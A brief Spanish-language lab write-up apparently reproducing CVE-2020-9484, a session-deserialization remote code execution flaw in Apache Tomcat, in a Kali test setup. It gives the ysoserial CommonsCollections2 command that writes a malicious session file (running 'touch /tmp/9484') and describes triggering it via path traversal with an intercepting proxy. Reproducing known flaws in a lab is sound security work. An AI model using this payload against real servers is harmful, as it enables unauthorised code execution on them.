CVE-2020-9484

Reproducción de la vulnerabilidad de ejecución de código por deserialización de sesión de Apache Tomcat CVE-2020-9484 con Kali 2.0

Entorno:

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz (la webapp es s2-053, se añadió commons-collections4-4.0.jar en su lib)
   
   

Inicio

/yourtomcatdir/bin/startup.sh

Generar payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

Explotación

Primero accede a S2-053 para comprobar si se inició correctamente: http://192.168.152.128:8080/s2-053/
Vuelve a capturar el paquete, usa intruder para path traversal

Ejecución del comando exitosa:

Referencia ： https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg